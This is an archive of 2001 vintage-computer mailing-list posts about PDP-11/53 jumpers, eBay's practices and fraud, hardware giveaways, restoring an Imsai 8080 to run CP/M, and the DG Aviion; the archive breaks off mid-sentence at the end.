<57.172b93cf.284ff17e@aol.com> how big i might be interested From engdahl at cle.ab.com Wed Jun 6 16:04:44 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers (scanned manual) References: <20010606150151.A33D420FDA@mail.iae.nl> Message-ID: <002501c0eecc$4fe4aee0$614099a1@rcs.ra.rockwell.com> Many thanks to Antonio Carlini and Kees Stravers for making the manual available. I glanced through it. It turns out this manual is for the 11/23. It has a lot of very useful info for the KDF11-BE (M8189, the quad-wide 11/23 CPU) -- jumpers, bootstrap options, etc., plus info on the RQDX1, BA23, XXDP, and more. There's also an 11/84 manual at the same site. Now if we could only find this sort of info for the 11/53. These two manuals may help some by giving us a feel for what kind of things DEC uses jumpers for on CPU boards. Now that we know what to look for, maybe we can figure out some of the 11/53 jumpers by experimentation. Kees -- I suggest putting a note on that entry so people websearching for 11/23 or M8189 info can find it more easily. -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl ----- Original Message ----- From: > > The pdf is there already, but I forgot to upload the modified index > file ;-( sorry! I just did, and now you can download the pdf from > > http://www.vaxarchive.org/manuals/ > > It should also appear a day later at http://vaxarchive.khubla.com/manuals/ > From cmcmanis at mcmanis.com Wed Jun 6 16:29:07 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: References: <5.0.0.25.2.20010605214106.02064970@208.226.86.10> Message-ID: <5.0.0.25.2.20010606142658.034aee90@209.185.79.193> At 10:43 AM 6/6/01 -0700, Sellam wrote: >Hmm, I guess I haven't used eBay in a while. But I can still search for >completed auctions. Are you talking about that fact that they only keep >completed auctions online for a limited time? It's been that way for >years now. Its worse. If you search on items sold by a seller and click "All auctions" they only list auctions that closed within the last 14 days. I have auctions that I won or ran, that took so long to close that I had to go into my email archive, extract the item number, and then give _that_ to ebay (which was then happy to fess up the data) It used to be 90 days worth, then it went down to 30 and now its two weeks. --Chuck From rhblake at bigfoot.com Wed Jun 6 17:33:39 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: <006a01c0eec9$33baef20$8a0101ac@ibm23xhr06> Message-ID: I bought something (PS/2 model 70 with IEEE 488) back in 98 and then the SOB wanted to charge me $45 to ship it (said he had it in the auction post but it said nothing of a flat fee) so I wrote ebay and they bumped *me* - so I created a new account (2 actually) and started all over and I looked later to find that the clown that was trying to rip me off was permanently barred (a month after I was) and had since gone to exclusively ripping people off thru Yahoo! auctions. I've never had a problem since other that a user named "polbit" tell me that a perfect machine I shipped was junk and wanted a refund/exchange. When I asked him the serial he never wrote back and posted a neg in my feedback (like 1 neg is going to hurt over 250 pos comments). The new system of allowing you to bar by username helped as I now have this person barred and he/she can't bid on any more of my auctions. I think he had bought my good condition one to replace a junker he had and thought he could con me into a refund of the junker but didn't expect a seller to record serials or even have a picture of condition of each item that is shipped (I keep them for 45 days and delete). Yet I've had items ship like a Dataproducts Typhoon 20 (75 lb printer same as a Compaq Pagemarq 20) that UPS dropped but the reciever was patient and asked for help in figuring out why the "top open" message was displayed when it was shut, and when we figured it out she epoxied it rather than making a claim - even though I offered to pay shipping back, repair it and reship - or totally refund after the claim was received. She's happy and I am amazed. I guess the buyer realized that it wasn't my fault and that it was a relatively simple problem and could fix it herself. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of John Allain > Sent: Wednesday, June 06, 2001 3:42 PM > To: classiccmp@classiccmp.org > Subject: Re: Another Auction Site > > > Anybody have a Good story relating to eBay and Fraud? > > For me it's 3 years (good), 300+ purchases (good), 1 fraud (Bad). > All eBay did was delist the seller and respond to me with a > form letter. Presumably eBay had some contact information on > the seller. Shouldn't they've contacted the ISP & Police about > this? I was surprized a Police case wasn't started on them. > > John A. > From rhblake at bigfoot.com Wed Jun 6 17:36:30 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: <3B1E8280.ED7E3A36@home.com> Message-ID: I use back and then rehit submit really quick to relist multiple items of the same thing (I hate doing dutch auctions)and between quick reloads there can be as much as a 1500 difference in item numbers some days but the lowest I think I've seen the difference is 200 in less than 6 seconds between auction reposts. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Craig Smith > Sent: Wednesday, June 06, 2001 2:21 PM > To: classiccmp@classiccmp.org > Subject: Re: Another Auction Site > > > It WOULD be a great historical database if they kept more than 30-60 > days of data available! Somewhere they have a data warehouse full of > great stuff but it's not available. Of course the pictures wouldn't be > available for the past auctions but descriptions and prices realized > would be a great resource. BIG database though ...what are they up to > these days > 124 million auctions or so??? > Craig > > Sellam Ismail wrote: > > > > On Wed, 6 Jun 2001, Eric Dittman wrote: > > > > > The frequent downtimes are a pain, but the biggest pain is that almost > > > all the sellers use eBay because everyone uses eBay. Because of that, > > > if you are looking for some odd part and nobody you can ask has the > > > part, eBay is about your only option. > > > > I'll be the first to admit that I am a hypocrite, but I would actually > > hate to see the online auction service market get fractured. > The one good > > thing that you can rely on with eBay is that you pretty much know if > > you're after something obscure, you have a good chance of finding it on > > eBay. > > > > eBay is similar to a big historical database. > > > > Sellam Ismail Vintage > Computer Festival > > > ------------------------------------------------------------------ > ------------ > > International Man of Intrigue and Danger > http://www.vintage.org From rhblake at bigfoot.com Wed Jun 6 17:40:10 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:15 2005 Subject: Another Auction Site In-Reply-To: Message-ID: I doubt the sellers would pull out if that's where the buyers are with exception if the fees/rules/etc prevented making money. No one gets on ebay to be charitable, at least I don't. If I have something that would be of value to the list or other lists I post it there and if no desire is shown it goes to ebay and then the scrap bin. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Sellam Ismail > Sent: Wednesday, June 06, 2001 12:40 PM > To: classiccmp@classiccmp.org > Subject: Re: Another Auction Site > > > On Tue, 5 Jun 2001, Marvin wrote: > > > I fully agree!!!!! Going head to head against ebay is the height of > > stupidity at this point. However Ebay is continuing to do some pretty > > stupid things that are getting a number of sellers pretty pissed off. > > They are probably hoping to pick up enough business from that fallout > > to stay in business. > > I've been following the stories (it seems that eBay is such an institution > now that anything major they do becomes news worthy enough to be published > in major newspapers). But at this point in time I can't imagine any > circumstance by which eBay would lose it dominance. There would have to > be a mass exodus of regular sellers to another service, and a major > advertising campaign by a competing service, in order for eBay to lose the > marketshare it currently enjoys. > > You have to realize that eBay got to where it is today because of two > major factors. They were one of the first (if not the first) organized > auction sites on the web, and more importantly, they advertised like mad. > Once they went public and got the cash influx needed to accelerate > advertising, the race was over. > > When people think of online auctions, they think "eBay". eBay is > everywhere now. They have tie ins with at least one or two tv shows (I'm > sure most people have seen the auctions advertised on The History Channel > by now), they've bought some major "real world" auction houses, and they > are even being quoted in comedy routines (you know you've arrived when > you're mentioned in a David Letterman or Jay Leno monologue). > > Also, the sellers that are pissing and moaning about eBay's latest move > with regards to the new software know full well that they aren't going to > take their wares to another site and be as successful as they are > on eBay. > Another thing that eBay has that other auction sites don't is the > buyers. > Again, this goes back to advertising. When people get online to go look > for used stuff, what's the first site they visit? > > Sellam Ismail Vintage > Computer Festival > ------------------------------------------------------------------ > ------------ > International Man of Intrigue and Danger > http://www.vintage.org > From bshannon at tiac.net Wed Jun 6 17:57:47 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:15 2005 Subject: Free CDC boards References: Message-ID: <3B1EB56B.176DAEC6@tiac.net> Isopropyl alcohol is an excellent solvent and disinfectant for rodent damaged electronics. You will be amazed at how well it works! "R. D. Davis" wrote: > On Tue, 5 Jun 2001, Jeffrey l Kaneko wrote: > > They're for the CDC 'Phoenix' class drives. > > > > I'm gonna have to melt 'em if nobody wants 'em. > > :-( > > Giving the situation more thought, I guess it no one claims my > mouse-attacked CDC boards, I'll put these boards on the lawn, use the > garden hose to hose them off good and then spray them with > Lysol... probably won't hurt them. I just hate to see them scrapped. > Meanwhile, of anyone wants to claim them and save me the trouble of > de-mousing them, please come and get them! :-) > > -- > Copyright (C) 2001 R. D. Davis The difference between humans & other animals: > All Rights Reserved an unnatural belief that we're above Nature & > rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such > http://www.perqlogic.com/rdd beliefs and to justify much human cruelty. From broth at heathers.stdio.com Wed Jun 6 17:00:41 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:15 2005 Subject: Free stuff Message-ID: <01060618172100.00835@fatty> I am currently reducing my collection to "DEC only" and in the coming weeks(months) will be posting some giveaways. I have bunches of everything to get rid of. I will give precedence to DEC related trades and then just ask for shipping charges after that. First off I need to know if anyone is interested in Data General stuff. I have a couple of box's of manuals and software. I believe there might be some early NOVA manuals in the stack. I also have a dual 8" rack mount floppy coming in. I would like to see these go to an active DG collector. I currently have 7 Intel MCS -80/85 Family User manuals in new condition. Free to anyone. A few bucks for postage at your convienience would be nice but not necessary. Like I said I have a lot of stuff and the shipping charges are going to add up after a while. Brian. -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From bshannon at tiac.net Wed Jun 6 18:25:43 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:15 2005 Subject: Will trade classic HW for CP/M 2.2 help! References: Message-ID: <3B1EBBF7.BF6B2B6F@tiac.net> To any CP/M 2.2 users with 8-inch SSSD floppy disks... I'm restoring an Imsai 8080, and at this point my hardware is working very well, but I need some assistance with the software. If any list member can help, I'm willing to trade classic hardware such as an HP 9830A desktop programmable (in basic!) calculator, a Symbolics 3645 Lisp Machine (with 2 monitors, and full doc set), a Solid State Music S-100 bus music synthisizer, DEC goodies, etc... Lets make a deal....without eBay..... All the hardware for trade is located in centeral MA, not too far from the site for VCF East! Who ever gets this deal, and helps get this Imsai up to the A:> prompt WILL be made happy. (and share in the satisfaction of saving this particular Imsai from the dust bin of history) My problem is this: I need a bootable 8-inch, SSSD CP/M 2.2 disk made with a BIOS for my hardware... I do have full documentation for all the hardware installed in my system. I have an Imsai 8080 with 40K of RAM, a Tarbell 1101-D floppy controller with 2 SA-800 drives, and a Solid State Music IO-4 board. There are some old CP/M 1.3 disks that came with the system, and they ~appear~ to boot, but I get no console I/O. Most of the disks claim to be for memory configurations larger than I currently have. I can disable the Tarbell boot code and enter small programs by hand, and I've verifed that the SSM IO-4 boards serial port is fully operational. Attempting to boot a 24K CP/M 1.3 disk ~looks~ like its working, the head loads and unloads several times, data gets loaded into memory by the boot loader code from the floppy, but no console I/O. Who knows what hardware config this disk expects, it appears to be a very early CP/M install for this Imsai, and its clearly been expanded several times since this disk was cut. I'd also LOVE to upgrade the many 2102 based Ram boards with any non-2102 based SRAM board. I do have 22 slots, but 4K and 8K boards just take up too much room. So, is anyone out there with 8-inch CM/M 2.2, and who is just dying for a Symbolics 3645? Just 'gottahave' an HP9830A (all key caps, unbroken plastic, etc) LED dot matrix calculator? (check one out on the HP calculator museum site, clearly collectable...) Drop me a line off the list, and lets make a deal! From ajp166 at bellatlantic.net Wed Jun 6 18:34:50 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers Message-ID: <006701c0eee1$49fd6750$a8799a8d@ajp166> I have a 11/73 and several 11/23s (some with clock mods for speed) so I'm aware of what I said. MOST early 11/53 boxen actually had 11/23B cpu cards (M8189). Oh yes, I do have a very fast 11/23B as a result of a modded clock. Allison -----Original Message----- From: Jonathan Engdahl To: classiccmp@classiccmp.org Date: Wednesday, June 06, 2001 2:45 PM Subject: RE: PDP-11/53+ Jumpers >The M7554 has a Qbus on the A-B connector, and nothing but grant jumpers and >power on the C-D connector. > >I don't know anything about 11/73's, but the first thing I noticed when I >got the 11/53 to boot was "Whoa! -- this thing is a lot faster than an >11/23". > >Maybe Allison had better go looking for someone with a very fast "11/23" and >get his CPU board back! > >-- >Jonathan Engdahl Rockwell Automation >Principal Research Engineer 24800 Tungsten Road >Advanced Technology Euclid, OH 44117, USA >Euclid Labs engdahl@cle.ab.com 216-266-6409 > > >> -----Original Message----- >> From: owner-classiccmp@classiccmp.org >> [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Pete Turnbull >> Sent: Wednesday, June 06, 2001 3:22 AM >> To: classiccmp >> Subject: Re: PDP-11/53+ Jumpers >> >> >> On Jun 5, 22:37, ajp166 wrote: >> > Isn't the 11/53 the box name and the cpu being either an 11/73 >> > or 11/23B? All the 11/53s I've seen had 11/23B cpus (M8189). >> >> No, an 11/53 processor is an M7554, which is a quad board with J11, half a >> meg of memory, 2 SLUs, bootstrap, etc. It's rather like an >> 11/73B but with >> added memory (and no PMI capability, I think). It was designed as a low >> end system, and IIRC it's slightly slower than an 11/73. >> >> If you saw 11/53 BA23's with 11/23's in them, someone swapped the >> cards, or >> swapped the labels. >> >> >> >> -- >> Pete Peter Turnbull >> Network Manager >> University of York >> > From bshannon at tiac.net Wed Jun 6 18:41:53 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:15 2005 Subject: Will trade classic H/W for CP/M 2.2 help! Message-ID: <3B1EBFC1.1318277C@tiac.net> To any CP/M 2.2 users with 8-inch SSSD floppy disks... I'm restoring an Imsai 8080, and at this point my hardware is working very well, but I need some assistance with the software. If any list member can help, I'm willing to trade classic hardware such as an HP 9830A desktop programmable (in basic!) calculator, a Symbolics 3645 Lisp Machine (with 2 monitors, and full doc set), a Solid State Music S-100 bus music synthisizer, DEC goodies, etc... Lets make a deal....without eBay..... All the hardware for trade is located in centeral MA, not too far from the site for VCF East! Who ever gets this deal, and helps get this Imsai up to the A:> prompt WILL be made happy. (and share in the satisfaction of saving this particular Imsai from the dust bin of history) My problem is this: I need a bootable 8-inch, SSSD CP/M 2.2 disk made with a BIOS for my hardware... I do have full documentation for all the hardware installed in my system. I have an Imsai 8080 with 40K of RAM, a Tarbell 1101-D floppy controller with 2 SA-800 drives, and a Solid State Music IO-4 board. There are some old CP/M 1.3 disks that came with the system, and they ~appear~ to boot, but I get no console I/O. Most of the disks claim to be for memory configurations larger than I currently have. I can disable the Tarbell boot code and enter small programs by hand, and I've verifed that the SSM IO-4 boards serial port is fully operational. Attempting to boot a 24K CP/M 1.3 disk ~looks~ like its working, the head loads and unloads several times, data gets loaded into memory by the boot loader code from the floppy, but no console I/O. Who knows what hardware config this disk expects, it appears to be a very early CP/M install for this Imsai, and its clearly been expanded several times since this disk was cut. I'd also LOVE to upgrade the many 2102 based Ram boards with any non-2102 based SRAM board. I do have 22 slots, but 4K and 8K boards just take up too much room. So, is anyone out there with 8-inch CM/M 2.2, and who is just dying for a Symbolics 3645? Just 'gottahave' an HP9830A (all key caps, unbroken plastic, etc) LED dot matrix calculator? (check one out on the HP calculator museum site, clearly collectable...) Drop me a line off the list, and lets make a deal! From jeff.kaneko at juno.com Wed Jun 6 18:38:30 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:15 2005 Subject: Rescue: *NEW* DG Aviion Message-ID: <20010606.183830.-448571.0.jeff.kaneko@juno.com> Actually, it all depends on how new the machine is. If it was built after about 1996, it's probably an Intel based system-- hardly worthy of notice. Before that, they made systems using the 88000-- now these are interesting because very few makers used this chip set. Jeff On Wed, 06 Jun 2001 12:59:10 -0700 "Edwin P. Groot" writes: > Oh Crap! Last week at a garage sale I passed over a box of > DG-UX > software, thinking, "I'll never come across an Aviion". > > Sorry! > Edwin > > At 08:36 PM 6/5/2001 -0400, you wrote: > > I stopped at a scrap place today and found a NEW DG Aviion that > they're > >getting ready to scrap. This appears to be brand new and complete. > It's > >clean and looks like it's in perfect condition. It's very sharp > >looking! I talked to them and they are interested in selling it > as an > > Joe > > > > ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From vaxman at qwest.net Wed Jun 6 18:35:19 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:15 2005 Subject: need copy of email about PDP11 in new york! Message-ID: I deleted it... thanks, clint From ajp166 at bellatlantic.net Wed Jun 6 18:41:19 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers Message-ID: <00fd01c0eee3$649b7370$a8799a8d@ajp166> From: healyzh@aracnet.com >I believe all the boards listed below are the various varients of the /53 >and /53+. It was commonly used in DECservers 550's which explains the LAT >ROMs listed on some of them. One of those can be converted to a PDP-11/53 >by replacing the ROMs with PDP-11/53 ROMs. Oh yes there were plenty of variantion of the base "11/53" out there. Most were supposed to be J11 powered but like I said many have M8189s. Allison From ajp166 at bellatlantic.net Wed Jun 6 18:38:46 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:15 2005 Subject: Altair 8800 front panel lamps Message-ID: <00fc01c0eee3$642ef600$a8799a8d@ajp166> From: Douglas Quebbeman >I live for the day when Outlook or Exchange allow me to >simply establish a filter that strips all incoming mail >of any HTML.... I live for the day I can strip OE for a real mailer not the cartoon thing MS pushes off. My kind of mailer is Vax Mail. Nice simple command line text mailer. Allison From ajp166 at bellatlantic.net Wed Jun 6 18:54:11 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:15 2005 Subject: Will trade classic HW for CP/M 2.2 help! Message-ID: <014101c0eee5$7f40f9a0$a8799a8d@ajp166> Bob, I'm not far away, Maybe I can help. FYI I have NO data on the tarbell controller but if the disk is standard SSSD I can help. No interest in the HP or symbolics though, too far off my collection. Allison -----Original Message----- From: Bob Shannon To: classiccmp@classiccmp.org Date: Wednesday, June 06, 2001 7:42 PM Subject: Will trade classic HW for CP/M 2.2 help! >To any CP/M 2.2 users with 8-inch SSSD floppy disks... > >I'm restoring an Imsai 8080, and at this point my hardware is working very >well, but I need some assistance with the software. > >If any list member can help, I'm willing to trade classic hardware such as an HP >9830A desktop programmable (in basic!) calculator, a Symbolics 3645 Lisp Machine >(with 2 monitors, and full doc set), a Solid State Music S-100 bus music >synthisizer, DEC goodies, etc... > >Lets make a deal....without eBay..... > >All the hardware for trade is located in centeral MA, not too far from the site >for VCF East! >Who ever gets this deal, and helps get this Imsai up to the A:> prompt WILL be >made happy. > >(and share in the satisfaction of saving this particular Imsai from the dust bin >of history) > >My problem is this: > >I need a bootable 8-inch, SSSD CP/M 2.2 disk made with a BIOS for my hardware... >I do have full documentation for all the hardware installed in my system. > >I have an Imsai 8080 with 40K of RAM, a Tarbell 1101-D floppy controller with 2 >SA-800 >drives, and a Solid State Music IO-4 board. There are some old CP/M 1.3 disks >that came >with the system, and they ~appear~ to boot, but I get no console I/O. Most of the >disks >claim to be for memory configurations larger than I currently have. > >I can disable the Tarbell boot code and enter small programs by hand, and I've >verifed that >the SSM IO-4 boards serial port is fully operational. Attempting to boot a 24K >CP/M 1.3 >disk ~looks~ like its working, the head loads and unloads several times, data gets >loaded >into memory by the boot loader code from the floppy, but no console I/O. > >Who knows what hardware config this disk expects, it appears to be a very early >CP/M >install for this Imsai, and its clearly been expanded several times since this >disk was cut. > >I'd also LOVE to upgrade the many 2102 based Ram boards with any non-2102 based >SRAM >board. I do have 22 slots, but 4K and 8K boards just take up too much room. > >So, is anyone out there with 8-inch CM/M 2.2, and who is just dying for a >Symbolics 3645? > >Just 'gottahave' an HP9830A (all key caps, unbroken plastic, etc) LED dot matrix >calculator? >(check one out on the HP calculator museum site, clearly collectable...) > >Drop me a line off the list, and lets make a deal! > From epgroot at ucdavis.edu Wed Jun 6 19:02:32 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:15 2005 Subject: Rescue: *NEW* DG Aviion In-Reply-To: <20010606.183830.-448571.0.jeff.kaneko@juno.com> Message-ID: <3.0.5.32.20010606170232.007d1c30@yellow.ucdavis.edu> Before passing it over I took a quick look at the manual, dated sometime after 1995. It mentioned both intel-based and 88000-based computers. Never heard of an 88000. Is that Motorola? Edwin At 06:38 PM 6/6/2001 -0500, you wrote: > >Actually, it all depends on how new the machine is. If it >was built after about 1996, it's probably an Intel based >system-- hardly worthy of notice. > >Before that, they made systems using the 88000-- now >these are interesting because very few makers used this >chip set. > > >Jeff From bkr at WildHareComputers.com Wed Jun 6 19:28:50 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:15 2005 Subject: Free stuff - DG References: <01060618172100.00835@fatty> Message-ID: <003c01c0eee8$d63c18e0$0100a8c0@dellhare> G'day Brian - We specialize in the finding, restoring and preservation of Data General legacy computers, as evidenced by our www.SimuLogics.com web site. We would love to acquire any manual, software, hardware, sales literature and other things DG; preserve them and make them available to others. Please contact me so we can make save things for posterity... Bruce Ray bkr@WildHareComputers.com -or- bkr@SimuLogics.com ----- Original Message ----- From: "Brian Roth" To: Sent: Wednesday, June 06, 2001 4:00 PM Subject: Free stuff > > I am currently reducing my collection to "DEC only" and in the coming > weeks(months) will be posting some giveaways. I have bunches of everything to > get rid of. I will give precedence to DEC related trades and then just ask for > shipping charges after that. > First off I need to know if anyone is interested in > Data General stuff. I have a couple of box's of manuals and software. I > believe there might be some early NOVA manuals in the stack. I also have a dual > 8" rack mount floppy coming in. I would like to see these go to an active DG > collector. > > I currently have 7 Intel MCS -80/85 Family User manuals in new condition. Free > to anyone. A few bucks for postage at your convienience would be nice but not > necessary. Like I said I have a lot of stuff and the shipping charges are going > to add up after a while. > > Brian. > > > > -- Brian Roth - System Administrator > www.webwirz.com - Old Computer Repository > > Preoccupation is my main occupation..... From jhellige at earthlink.net Wed Jun 6 19:31:49 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:15 2005 Subject: Usenet In-Reply-To: <014101c0eee5$7f40f9a0$a8799a8d@ajp166> References: <014101c0eee5$7f40f9a0$a8799a8d@ajp166> Message-ID: Geez....Microsoft created over 300 new newsgroups in the last day.... Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jpero at sympatico.ca Wed Jun 6 15:39:30 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:15 2005 Subject: Usenet In-Reply-To: References: <014101c0eee5$7f40f9a0$a8799a8d@ajp166> Message-ID: <20010607003702.GHXR2764.tomts14-srv.bellnexxia.net@duron> > Date: Wed, 6 Jun 2001 20:31:49 -0400 > To: classiccmp@classiccmp.org > From: Jeff Hellige > Subject: Usenet > Reply-to: classiccmp@classiccmp.org > Geez....Microsoft created over 300 new newsgroups in the last day.... > > Jeff Oh great, fertile spamming ground! :-P And even more unwashed coming out of woodwork. Sheesh. Cheers, Wizard > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From optimus at canit.se Wed Jun 6 19:59:57 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:15 2005 Subject: Rescue: *NEW* DG Aviion In-Reply-To: <3.0.5.32.20010606125910.007d8740@yellow.ucdavis.edu> Message-ID: <432.558T2850T1196683optimus@canit.se> Edwin P. Groot skrev: > Oh Crap! Last week at a garage sale I passed over a box of DG-UX >software, thinking, "I'll never come across an Aviion". Isn't the Aviion the Motorola 88000 based line of workstations by General Electric or some other megalomaniac corporation? -- En ligne avec Thor 2.6a. G? med i SUGA, Swedish Usergroup of Amiga! WWW: http://swedish.usergroup.amiga.tm/ BBS: 08-6582572, telnet://sua.ath.cx:42512 From pete at dunnington.u-net.com Wed Jun 6 19:54:19 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: "ajp166" "Re: PDP-11/53+ Jumpers" (Jun 6, 19:34) References: <006701c0eee1$49fd6750$a8799a8d@ajp166> Message-ID: <10106070154.ZM10108@indy.dunnington.u-net.com> On Jun 6, 19:34, ajp166 wrote: > I have a 11/73 and several 11/23s (some with clock mods for speed) > so I'm aware of what I said. MOST early 11/53 boxen actually had 11/23B > cpu cards (M8189). Allison, for once I feel you're wrong. An 11/53 is a distinct processor released a few years after the 11/73 and 11/83, as a low-cost option for office use. When it was announced (1987), it was as a J11 processor with separate I&D space and RAM on the processor card -- which no 11/23 has. I never heard of one having an 11/23 as shipped by DEC. It's listed in the 1987 PDP-11 Systems Handbook. Maybe Megan could look it up (I believe she has a copy?)? -- Pete Peter Turnbull Network Manager University of York From rigdonj at intellistar.net Wed Jun 6 19:59:44 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:15 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out th ere? In-Reply-To: <5.0.2.1.0.20010605175050.024c52c0@pop.bol.ucla.edu> References: <5.1.0.14.1.20010604214806.00aa3ec0@mailhost.intellistar.ne t> Message-ID: <5.1.0.14.1.20010606205847.00a9e3c0@mailhost.intellistar.net> Nick, No, I'm hanging onto my 4051! But if that is a 4052 that Mike(?) has then you might want to grab it. Joe At 05:52 PM 6/5/01 -0700, you wrote: >Hi Joe, > >Are you interested in parting with any of these? (My guess is that the >4025 is really a 4052.) I teach computational geography at UCLA and would >like these to work on and show my students. > >Cheers, >Nick > >At 09:52 PM 6/4/01 -0400, you wrote: >>Hi Mike, >> >> I have a LOADED 4051 and a IBM 5100. I have ALL the toys for the >> 4051 including the Altair-like front panel that was used for >> maintenance. I also both of the optional 8" floppy drives. The 4662 is >> a plotter isn't it? I think that's the model number of the one that I have. >> >> What the heck is a 4025?? I might be interested it. My wife makes >> frequent trips to KC. In fact, she's out there now. >> >> Joe >> >>At 09:49 AM 6/4/01 -0500, you wrote: >>>I recovered a Tektronix 4025 that still had a 3M style cartridge tape in the >>>drive. Its a storage tube model, green screen and it works. The only >>>problem is that the external case is missing. The keyboard and monitor >>>bezel are there just the rest of the case is gone. I've had it in storage >>>and I'd like to transfer it to someone who can appreciate it and maybe >>>repair it. >>>I'm in Kansas City >>> >>>Mike McFadden >>>mmcfadden@cmh.edu > >Nicholas Gessler >gessler@ucla.edu > >Box 706, 22148 Monte Vista Drive >Topanga, CA 90290-0706 > >310.455.1630 (home office) >310.825.4728 (UCLA office) >310.825.7428 (UCLA fax) > >Special Projects, UCLA Center for Digital Humanities >Founding Co-Director, UCLA Center for Computational Social Science >Instructor, Geography, Computational Cartography >In preparation - "Artificial Culture - Experiments in Synthetic Anthropology." > >Web Portal: >http://www.bol.ucla.edu/~gessler From ajp166 at bellatlantic.net Wed Jun 6 20:43:07 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers Message-ID: <017501c0eef4$35a6d210$a8799a8d@ajp166> From: Pete Turnbull >On Jun 6, 19:34, ajp166 wrote: >> I have a 11/73 and several 11/23s (some with clock mods for speed) >> so I'm aware of what I said. MOST early 11/53 boxen actually had 11/23B >> cpu cards (M8189). > >Allison, for once I feel you're wrong. An 11/53 is a distinct processor >released a few years after the 11/73 and 11/83, as a low-cost option for What part of what I wrote is unclear? The comment is most 11/53s I've seen contained 11/23B cpus. that maybe "not as shipped" but very commonplace. >office use. When it was announced (1987), it was as a J11 processor with >separate I&D space and RAM on the processor card -- which no 11/23 has. I >never heard of one having an 11/23 as shipped by DEC. Never said it was. I said many early 11/53boxen HAD 11/23s not they shipped with 11/23s. Seems they were fertile ground for modified systems. >It's listed in the 1987 PDP-11 Systems Handbook. Maybe Megan could look it >up (I believe she has a copy?)? I have it. Allison From broth at heathers.stdio.com Wed Jun 6 19:52:43 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:15 2005 Subject: PDP-11/53+ Jumpers In-Reply-To: <10106070154.ZM10108@indy.dunnington.u-net.com> References: <006701c0eee1$49fd6750$a8799a8d@ajp166> <10106070154.ZM10108@indy.dunnington.u-net.com> Message-ID: <01060620545704.00835@fatty> Not to fan the flames but I scanned some original DEC sales literature and put them here: http://www.wzrd.com/homeb/jroth/wirzhome/Pictures/1153_1.jpg http://www.wzrd.com/homeb/jroth/wirzhome/Pictures/1153_2.jpg This is all I could find in my stash. Brian. On Wed, 06 Jun 2001, you wrote: > On Jun 6, 19:34, ajp166 wrote: > > I have a 11/73 and several 11/23s (some with clock mods for speed) > > so I'm aware of what I said. MOST early 11/53 boxen actually had 11/23B > > cpu cards (M8189). > > Allison, for once I feel you're wrong. An 11/53 is a distinct processor > released a few years after the 11/73 and 11/83, as a low-cost option for > office use. When it was announced (1987), it was as a J11 processor with > separate I&D space and RAM on the processor card -- which no 11/23 has. I > never heard of one having an 11/23 as shipped by DEC. > > It's listed in the 1987 PDP-11 Systems Handbook. Maybe Megan could look it > up (I believe she has a copy?)? > > -- > Pete Peter Turnbull > Network Manager > University of York -- Brian Roth - System Administrator www.webwirz.com - Old Computer Repository Preoccupation is my main occupation..... From mcguire at neurotica.com Wed Jun 6 20:53:32 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:15 2005 Subject: Usenet In-Reply-To: Usenet (Jeff Hellige) References: <014101c0eee5$7f40f9a0$a8799a8d@ajp166> Message-ID: <15134.56988.156392.730438@phaduka.neurotica.com> On June 6, Jeff Hellige wrote: > Geez....Microsoft created over 300 new 